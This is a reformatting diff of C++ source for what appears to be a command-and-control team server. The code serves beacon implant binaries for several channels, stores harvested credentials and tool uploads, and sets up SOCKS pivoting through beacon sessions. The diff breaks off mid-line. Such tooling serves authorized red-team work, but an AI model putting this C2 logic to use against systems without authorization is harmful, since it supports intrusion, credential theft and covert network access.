m_logger->trace("SendTermCmd"); + m_logger->trace("SendTermCmd"); - std::string cmd = command->cmd(); - m_logger->debug("SendTermCmd {0}",cmd); + std::string cmd = command->cmd(); + m_logger->debug("SendTermCmd {0}", cmd); - std::vector splitedCmd; - splitInputCmd(cmd, splitedCmd); + std::vector splitedCmd; + splitInputCmd(cmd, splitedCmd); - teamserverapi::TermCommand responseTmp; - std::string none=""; - responseTmp.set_cmd(none); - responseTmp.set_result(none); - responseTmp.set_data(none); + teamserverapi::TermCommand responseTmp; + std::string none = ""; + responseTmp.set_cmd(none); + responseTmp.set_result(none); + responseTmp.set_data(none); - string instruction = splitedCmd[0]; - if(instruction==InfoListenerInstruction) - { - m_logger->debug("infoListener {0}", cmd); + string instruction = splitedCmd[0]; + if (instruction == InfoListenerInstruction) + { + m_logger->debug("infoListener {0}", cmd); - if(splitedCmd.size()==2) - { - std::string listenerHash = splitedCmd[1]; + if (splitedCmd.size() == 2) + { + std::string listenerHash = splitedCmd[1]; - for (int i = 0; i < m_listeners.size(); i++) - { - const std::string& hash = m_listeners[i]->getListenerHash(); + for (int i = 0; i < m_listeners.size(); i++) + { + const std::string& hash = m_listeners[i]->getListenerHash(); - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = m_listeners[i]->getType(); - - std::string domainName=""; - auto it = m_config.find("DomainName"); - if(it != m_config.end()) - domainName = m_config["DomainName"].get(); - - std::string exposedIp=""; - it = m_config.find("ExposedIp"); - if(it != m_config.end()) - exposedIp = m_config["ExposedIp"].get(); - - std::string interface=""; - it = m_config.find("IpInterface"); - if(it != m_config.end()) - interface = m_config["IpInterface"].get(); - - std::string ip = ""; - if(!interface.empty()) - ip = getIPAddress(interface); - - if(ip.empty() && domainName.empty() && exposedIp.empty()) - { - responseTmp.set_result("Error: No IP or Hostname in config."); - *response = responseTmp; - return grpc::Status::OK; - } - - std::string port = m_listeners[i]->getParam2(); - std::string uriFileDownload = ""; - - if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; - - auto it = configHttp.find("uriFileDownload"); - if(it != configHttp.end()) - uriFileDownload = configHttp["uriFileDownload"].get(); - - } - else if (type == ListenerHttpsType) - { - json configHttps = m_config["ListenerHttpsConfig"]; - - auto it = configHttps.find("uriFileDownload"); - if(it != configHttps.end()) - uriFileDownload = configHttps["uriFileDownload"].get();; - } - - std::string finalDomain; - if(!domainName.empty()) - finalDomain=domainName; - else if(!exposedIp.empty()) - finalDomain=exposedIp; - else if(!ip.empty()) - finalDomain=ip; - - m_logger->debug("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); - - std::string result=type; - result+="\n"; - result+=finalDomain; - result+="\n"; - result+=port; - result+="\n"; - result+=uriFileDownload; - - responseTmp.set_result(result); - } - // Check secondary listeners - smb / tcp: - else - { - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { - - const std::string& hash = it->getListenerHash(); - - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - // TODO we got an issue here to get the ip where the the listener can be contacted ? especialy for smb ? - std::string type = it->getType(); - std::string param1 = it->getParam1(); - std::string param2 = it->getParam2(); - - m_logger->debug("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); - - std::string result=type; - result+="\n"; - result+=param1; - result+="\n"; - result+=param2; - result+="\n"; - result+="none"; - - responseTmp.set_result(result); - } - } - } - } - } - } - - if(responseTmp.result().empty()) - { - m_logger->error("Error: Listener {} not found.", listenerHash); - - responseTmp.set_result("Error: Listener not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else - { - responseTmp.set_result("Error: infoListener take one arguement."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==GetBeaconBinaryInstruction) - { - m_logger->debug("getBeaconBinary {0}", cmd); - - if(splitedCmd.size()==2 || splitedCmd.size()==3) - { - std::string listenerHash = splitedCmd[1]; - - std::string targetOs = "Windows"; - if( splitedCmd.size()==3 && splitedCmd[2]=="Linux") - targetOs = "Linux"; - - for (int i = 0; i < m_listeners.size(); i++) - { - const std::string& hash = m_listeners[i]->getListenerHash(); - - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = m_listeners[i]->getType(); - std::string beaconFilePath = ""; - if(type == ListenerHttpType || type == ListenerHttpsType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconHttp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconHttp.exe"; - } - } - else if(type == ListenerTcpType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp.exe"; - } - } - else if(type == ListenerGithubType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconGithub"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconGithub.exe"; - } - } - else if(type == ListenerDnsType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconDns"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconDns.exe"; - } - } - - std::ifstream beaconFile(beaconFilePath, std::ios::binary ); - if (beaconFile.good()) - { - m_logger->info("getBeaconBinary found in primary listeners {0} {1}", type, targetOs); - - std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); - responseTmp.set_data(binaryData); - responseTmp.set_result("ok"); - } - else - { - m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - - responseTmp.set_result("Error: Beacons not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - // Check secondary listeners - smb / tcp: - else - { - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { - const std::string& hash = it->getListenerHash(); - - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = it->getType(); - std::string param1 = it->getParam1(); - std::string param2 = it->getParam2(); - - std::string beaconFilePath = ""; - if(type == ListenerTcpType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp.exe"; - } - } - else if(type == ListenerSmbType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconSmb"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconSmb.exe"; - } - } - - std::ifstream beaconFile(beaconFilePath, std::ios::binary ); - if (beaconFile.good()) - { - m_logger->info("getBeaconBinary found in beacon listeners {0} {1}", type, targetOs); - - std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); - responseTmp.set_data(binaryData); - responseTmp.set_result("ok"); - } - else - { - m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - - responseTmp.set_result("Error: Beacons not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - } - } - } - } - - if(responseTmp.result().empty()) - { - responseTmp.set_result("Error: Listener not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else - { - responseTmp.set_result("Error: getBeaconBinary take one arguement."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==PutIntoUploadDirInstruction) - { - m_logger->debug("putIntoUploadDir {0}", cmd); - - if(splitedCmd.size()==3) - { - std::string listenerHash = splitedCmd[1]; - - std::string filename = splitedCmd[2]; - if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) - { - responseTmp.set_result("Error: filename not allowed."); - *response = responseTmp; - return grpc::Status::OK; - } - std::string data = command->data(); - - std::string downloadFolder=""; - for (int i = 0; i < m_listeners.size(); i++) - { - std::string hash = m_listeners[i]->getListenerHash(); - if (hash.find(listenerHash) != std::string::npos) - { - std::string type = m_listeners[i]->getType(); - - try - { - if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; - - auto it = configHttp.find("downloadFolder"); - if(it != configHttp.end()) - downloadFolder = configHttp["downloadFolder"].get();; - - } - else if (type == ListenerHttpsType) - { - json configHttps = m_config["ListenerHttpsConfig"]; - - auto it = configHttps.find("downloadFolder"); - if(it != configHttps.end()) - downloadFolder = configHttps["downloadFolder"].get();; - } - } - catch(...) - { - responseTmp.set_result("Error: Value not found in config file."); - } - } - } - - if(!downloadFolder.empty()) - { - std::string filePath = downloadFolder; - filePath+="/"; - filePath+=filename; - - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) - { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - m_logger->info("Stored uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - m_logger->warn("Failed to store uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); - } - } - else - { - responseTmp.set_result("Error: Listener don't have a download folder."); - m_logger->warn("Listener {0} has no download folder configured; unable to store {1}", listenerHash, filename); - } - } - else - { - responseTmp.set_result("Error: putIntoUploadDir take tow arguements."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==BatcaveInstruction) - { - m_logger->debug("batcaveUpload {0}", cmd); - if(splitedCmd.size()==2) + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) { - std::string filename = splitedCmd[1]; - m_logger->debug("batcaveUpload {0}", filename); - if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) - { - responseTmp.set_result("Error: filename not allowed."); - *response = responseTmp; - return grpc::Status::OK; - } - std::string data = command->data(); - std::string filePath = m_toolsDirectoryPath; - filePath+="/"; - filePath+=filename; + std::string type = m_listeners[i]->getType(); - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) + std::string domainName = ""; + auto it = m_config.find("DomainName"); + if (it != m_config.end()) + domainName = m_config["DomainName"].get(); + + std::string exposedIp = ""; + it = m_config.find("ExposedIp"); + if (it != m_config.end()) + exposedIp = m_config["ExposedIp"].get(); + + std::string interface = ""; + it = m_config.find("IpInterface"); + if (it != m_config.end()) + interface = m_config["IpInterface"].get(); + + std::string ip = ""; + if (!interface.empty()) + ip = getIPAddress(interface); + + if (ip.empty() && domainName.empty() && exposedIp.empty()) + { + responseTmp.set_result("Error: No IP or Hostname in config."); + *response = responseTmp; + return grpc::Status::OK; + } + + std::string port = m_listeners[i]->getParam2(); + std::string uriFileDownload = ""; + + if (type == ListenerHttpType) + { + json configHttp = m_config["ListenerHttpConfig"]; + + auto it = configHttp.find("uriFileDownload"); + if (it != configHttp.end()) + uriFileDownload = configHttp["uriFileDownload"].get(); + } + else if (type == ListenerHttpsType) + { + json configHttps = m_config["ListenerHttpsConfig"]; + + auto it = configHttps.find("uriFileDownload"); + if (it != configHttps.end()) + uriFileDownload = configHttps["uriFileDownload"].get(); + ; + } + + std::string finalDomain; + if (!domainName.empty()) + finalDomain = domainName; + else if (!exposedIp.empty()) + finalDomain = exposedIp; + else if (!ip.empty()) + finalDomain = ip; + + m_logger->debug("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); + + std::string result = type; + result += "\n"; + result += finalDomain; + result += "\n"; + result += port; + result += "\n"; + result += uriFileDownload; + + responseTmp.set_result(result); + } + // Check secondary listeners - smb / tcp: + else + { + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + + if (!session->isSessionKilled()) { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); - } - return grpc::Status::OK; - } - } - // TODO handle some sort of backup - else if(instruction==AddCredentialInstruction) - { - m_logger->debug("AddCredentials command received"); + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { - std::string data = command->data(); - json cred = json::parse(data); - m_credentials.push_back(cred); - m_logger->info("Stored credential entry. Total credentials: {0}", m_credentials.size()); - responseTmp.set_result("ok"); - return grpc::Status::OK; - } - else if(instruction==GetCredentialInstruction) - { - m_logger->debug("GetCredentials command received"); + const std::string& hash = it->getListenerHash(); - responseTmp.set_result(m_credentials.dump()); + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + // TODO we got an issue here to get the ip where the the listener can be contacted ? especialy for smb ? + std::string type = it->getType(); + std::string param1 = it->getParam1(); + std::string param2 = it->getParam2(); + + m_logger->debug("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); + + std::string result = type; + result += "\n"; + result += param1; + result += "\n"; + result += param2; + result += "\n"; + result += "none"; + + responseTmp.set_result(result); + } + } + } + } + } + } + + if (responseTmp.result().empty()) + { + m_logger->error("Error: Listener {} not found.", listenerHash); + + responseTmp.set_result("Error: Listener not found."); *response = responseTmp; return grpc::Status::OK; - } - // TODO - else if(instruction==ReloadModulesInstruction) - { - m_logger->info("Reloading TeamServer modules from directory: {0}", m_teamServerModulesDirectoryPath.c_str()); - - // Clear previously loaded modules - m_moduleCmd.clear(); - std::size_t reloadedModules = 0; - - try { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->debug("Trying to load {0}", entry.path().c_str()); - - void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); - if (!handle) - { - m_logger->warn("Failed to load {0}: {1}", entry.path().c_str(), dlerror()); - continue; - } - - // Derive constructor function name - std::string funcName = entry.path().filename(); - funcName = funcName.substr(3); // remove lib - funcName = funcName.substr(0, funcName.length() - 3); // remove .so - funcName += "Constructor"; // add Constructor - - m_logger->debug("Looking for constructor function: {0}", funcName); - - constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); - if (!construct) { - m_logger->warn("Failed to find constructor: {0}", dlerror()); - dlclose(handle); - continue; - } - - ModuleCmd* moduleCmd = construct(); - if (!moduleCmd) - { - m_logger->warn("Constructor returned null"); - dlclose(handle); - continue; - } - - std::unique_ptr moduleCmdPtr(moduleCmd); - moduleCmdPtr->setDirectories( - m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath - ); - - m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); - m_moduleCmd.push_back(std::move(moduleCmdPtr)); - reloadedModules++; - } - } - } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory: {0}", e.what()); - } - - if (reloadedModules == 0) - m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); - else - m_logger->info("Reloaded {0} TeamServer module(s) from {1}", reloadedModules, m_teamServerModulesDirectoryPath.c_str()); + } } - else if(instruction == SocksInstruction_) + else { - m_logger->debug("socks {0}", cmd); - if(splitedCmd.size()>=2) - { - std::string cmd = splitedCmd[1]; + responseTmp.set_result("Error: infoListener take one arguement."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == GetBeaconBinaryInstruction) + { + m_logger->debug("getBeaconBinary {0}", cmd); - // Start a thread that handle all the communication with the beacon - if(cmd == "start") - { - if(m_isSocksServerRunning==true) - { - m_logger->warn("Error: Socks server is already running"); - responseTmp.set_result("Error: Socks server is already running"); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - // TODO put the port in config - int port = 1080; + if (splitedCmd.size() == 2 || splitedCmd.size() == 3) + { + std::string listenerHash = splitedCmd[1]; - bool isPortInUse = port_in_use(port); - if(!isPortInUse) - { - m_socksServer = std::make_unique(port); + std::string targetOs = "Windows"; + if (splitedCmd.size() == 3 && splitedCmd[2] == "Linux") + targetOs = "Linux"; - int maxAttempt=3; - int attempts=0; - while(!m_socksServer->isServerLaunched()) - { - m_socksServer->stop(); - m_socksServer->launch(); - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - m_logger->debug("Wait for SocksServer to start on port {}", port); - attempts++; - if(attempts>maxAttempt) - { - m_logger->error("Error: Unable to start the socks server on port {} after {} attempts", port, maxAttempt); - break; - } - } + for (int i = 0; i < m_listeners.size(); i++) + { + const std::string& hash = m_listeners[i]->getListenerHash(); - if(m_socksServer->isServerStoped()) - { - m_logger->warn("Error: Socks server failed to start on port {}", port); - responseTmp.set_result("Error: Socks server failed to start on port "+std::to_string(port)); - *response = responseTmp; - return grpc::Status::OK; - } + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + std::string type = m_listeners[i]->getType(); + std::string beaconFilePath = ""; + if (type == ListenerHttpType || type == ListenerHttpsType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconHttp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconHttp.exe"; + } + } + else if (type == ListenerTcpType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp.exe"; + } + } + else if (type == ListenerGithubType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconGithub"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconGithub.exe"; + } + } + else if (type == ListenerDnsType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconDns"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconDns.exe"; + } + } - m_isSocksServerRunning=true; + std::ifstream beaconFile(beaconFilePath, std::ios::binary); + if (beaconFile.good()) + { + m_logger->info("getBeaconBinary found in primary listeners {0} {1}", type, targetOs); - m_logger->info("Socks server successfully started on port {}", port); - responseTmp.set_result("Socks server successfully started on port "+std::to_string(port)); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - m_logger->warn("Error: Socks server port already used"); - responseTmp.set_result("Error: Socks server port already used"); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - else if(cmd == "stop") - { - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); - m_socksThread.reset(nullptr); + std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); + responseTmp.set_data(binaryData); + responseTmp.set_result("ok"); + } + else + { + m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - m_isSocksServerRunning=false; - if(m_socksServer) - m_socksServer->stop(); - m_socksServer.reset(nullptr); + responseTmp.set_result("Error: Beacons not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + // Check secondary listeners - smb / tcp: + else + { + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - m_logger->info("Socks server stoped"); - responseTmp.set_result("Socks server stoped"); - *response = responseTmp; - return grpc::Status::OK; - } - else if(cmd == "bind") - { - if(!m_isSocksServerRunning) - { - m_logger->warn("Error: Socks server not running"); - responseTmp.set_result("Error: Socks server not running"); - *response = responseTmp; - return grpc::Status::OK; - } - if(m_isSocksServerBinded) - { - m_logger->warn("Error: Socks server already bind"); - responseTmp.set_result("Error: Socks server already bind"); - *response = responseTmp; - return grpc::Status::OK; - } - if(splitedCmd.size()==3) - { - std::string beaconHash = splitedCmd[2]; - for (int i = 0; i < m_listeners.size(); i++) - { - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::string hash = session->getBeaconHash(); - if (hash.find(beaconHash) != std::string::npos && !session->isSessionKilled()) - { - m_socksListener = m_listeners[i]; - m_socksSession = m_listeners[i]->getSessionPtr(kk); + if (!session->isSessionKilled()) + { + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { + const std::string& hash = it->getListenerHash(); - m_socksThread = std::make_unique(&TeamServer::socksThread, this); - - m_isSocksServerBinded=true; - m_logger->info("Socks server sucessfully binded"); - responseTmp.set_result("Socks server sucessfully binded\nThink about setting the sleep time of the beacon to 0.001 to force a good throughput"); - *response = responseTmp; - return grpc::Status::OK; - } - } - } + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + std::string type = it->getType(); + std::string param1 = it->getParam1(); + std::string param2 = it->getParam2(); - m_logger->warn("Error: Socks server bind failed, session not found"); - responseTmp.set_result("Error: Socks server bind failed, session not found"); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(cmd == "unbind") - { - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); - m_socksThread.reset(nullptr); + std::string beaconFilePath = ""; + if (type == ListenerTcpType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp.exe"; + } + } + else if (type == ListenerSmbType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconSmb"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconSmb.exe"; + } + } - m_logger->info("Socks server successfully unbinding"); - responseTmp.set_result("Socks server successfully unbinding"); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - m_logger->warn("Error: Socks server command not found."); - responseTmp.set_result("Error: Socks server command not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - // TODO add a clean www directory !!! - else - { - responseTmp.set_result("Error: not implemented."); - *response = responseTmp; - return grpc::Status::OK; - } + std::ifstream beaconFile(beaconFilePath, std::ios::binary); + if (beaconFile.good()) + { + m_logger->info("getBeaconBinary found in beacon listeners {0} {1}", type, targetOs); - *response = responseTmp; + std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); + responseTmp.set_data(binaryData); + responseTmp.set_result("ok"); + } + else + { + m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - return grpc::Status::OK; + responseTmp.set_result("Error: Beacons not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + } + } + } + } + + if (responseTmp.result().empty()) + { + responseTmp.set_result("Error: Listener not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else + { + responseTmp.set_result("Error: getBeaconBinary take one arguement."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == PutIntoUploadDirInstruction) + { + m_logger->debug("putIntoUploadDir {0}", cmd); + + if (splitedCmd.size() == 3) + { + std::string listenerHash = splitedCmd[1]; + + std::string filename = splitedCmd[2]; + if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) + { + responseTmp.set_result("Error: filename not allowed."); + *response = responseTmp; + return grpc::Status::OK; + } + std::string data = command->data(); + + std::string downloadFolder = ""; + for (int i = 0; i < m_listeners.size(); i++) + { + std::string hash = m_listeners[i]->getListenerHash(); + if (hash.find(listenerHash) != std::string::npos) + { + std::string type = m_listeners[i]->getType(); + + try + { + if (type == ListenerHttpType) + { + json configHttp = m_config["ListenerHttpConfig"]; + + auto it = configHttp.find("downloadFolder"); + if (it != configHttp.end()) + downloadFolder = configHttp["downloadFolder"].get(); + ; + } + else if (type == ListenerHttpsType) + { + json configHttps = m_config["ListenerHttpsConfig"]; + + auto it = configHttps.find("downloadFolder"); + if (it != configHttps.end()) + downloadFolder = configHttps["downloadFolder"].get(); + ; + } + } + catch (...) + { + responseTmp.set_result("Error: Value not found in config file."); + } + } + } + + if (!downloadFolder.empty()) + { + std::string filePath = downloadFolder; + filePath += "/"; + filePath += filename; + + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Stored uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + } + else + { + responseTmp.set_result("Error: Listener don't have a download folder."); + m_logger->warn("Listener {0} has no download folder configured; unable to store {1}", listenerHash, filename); + } + } + else + { + responseTmp.set_result("Error: putIntoUploadDir take tow arguements."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == BatcaveInstruction) + { + m_logger->debug("batcaveUpload {0}", cmd); + if (splitedCmd.size() == 2) + { + std::string filename = splitedCmd[1]; + m_logger->debug("batcaveUpload {0}", filename); + if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) + { + responseTmp.set_result("Error: filename not allowed."); + *response = responseTmp; + return grpc::Status::OK; + } + std::string data = command->data(); + std::string filePath = m_toolsDirectoryPath; + filePath += "/"; + filePath += filename; + + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); + } + return grpc::Status::OK; + } + } + // TODO handle some sort of backup + else if (instruction == AddCredentialInstruction) + { + m_logger->debug("AddCredentials command received"); + + std::string data = command->data(); + json cred = json::parse(data); + m_credentials.push_back(cred); + m_logger->info("Stored credential entry. Total credentials: {0}", m_credentials.size()); + responseTmp.set_result("ok"); + return grpc::Status::OK; + } + else if (instruction == GetCredentialInstruction) + { + m_logger->debug("GetCredentials command received"); + + responseTmp.set_result(m_credentials.dump()); + *response = responseTmp; + return grpc::Status::OK; + } + // TODO + else if (instruction == ReloadModulesInstruction) + { + m_logger->info("Reloading TeamServer modules from directory: {0}", m_teamServerModulesDirectoryPath.c_str()); + + // Clear previously loaded modules + m_moduleCmd.clear(); + std::size_t reloadedModules = 0; + + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); + + void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); + if (!handle) + { + m_logger->warn("Failed to load {0}: {1}", entry.path().c_str(), dlerror()); + continue; + } + + // Derive constructor function name + std::string funcName = entry.path().filename(); + funcName = funcName.substr(3); // remove lib + funcName = funcName.substr(0, funcName.length() - 3); // remove .so + funcName += "Constructor"; // add Constructor + + m_logger->debug("Looking for constructor function: {0}", funcName); + + constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); + if (!construct) + { + m_logger->warn("Failed to find constructor: {0}", dlerror()); + dlclose(handle); + continue; + } + + ModuleCmd* moduleCmd = construct(); + if (!moduleCmd) + { + m_logger->warn("Constructor returned null"); + dlclose(handle); + continue; + } + + std::unique_ptr moduleCmdPtr(moduleCmd); + moduleCmdPtr->setDirectories( + m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); + + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + m_moduleCmd.push_back(std::move(moduleCmdPtr)); + reloadedModules++; + } + } + } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory: {0}", e.what()); + } + + if (reloadedModules == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Reloaded {0} TeamServer module(s) from {1}", reloadedModules, m_teamServerModulesDirectoryPath.c_str()); + } + else if (instruction == SocksInstruction_) + { + m_logger->debug("socks {0}", cmd); + if (splitedCmd.size() >= 2) + { + std::string cmd = splitedCmd[1]; + + // Start a thread that handle all the communication with the beacon + if (cmd == "start") + { + if (m_isSocksServerRunning == true) + { + m_logger->warn("Error: Socks server is already running"); + responseTmp.set_result("Error: Socks server is already running"); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + // TODO put the port in config + int port = 1080; + + bool isPortInUse = port_in_use(port); + if (!isPortInUse) + { + m_socksServer = std::make_unique(port); + + int maxAttempt = 3; + int attempts = 0; + while (!m_socksServer->isServerLaunched()) + { + m_socksServer->stop(); + m_socksServer->launch(); + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + m_logger->debug("Wait for SocksServer to start on port 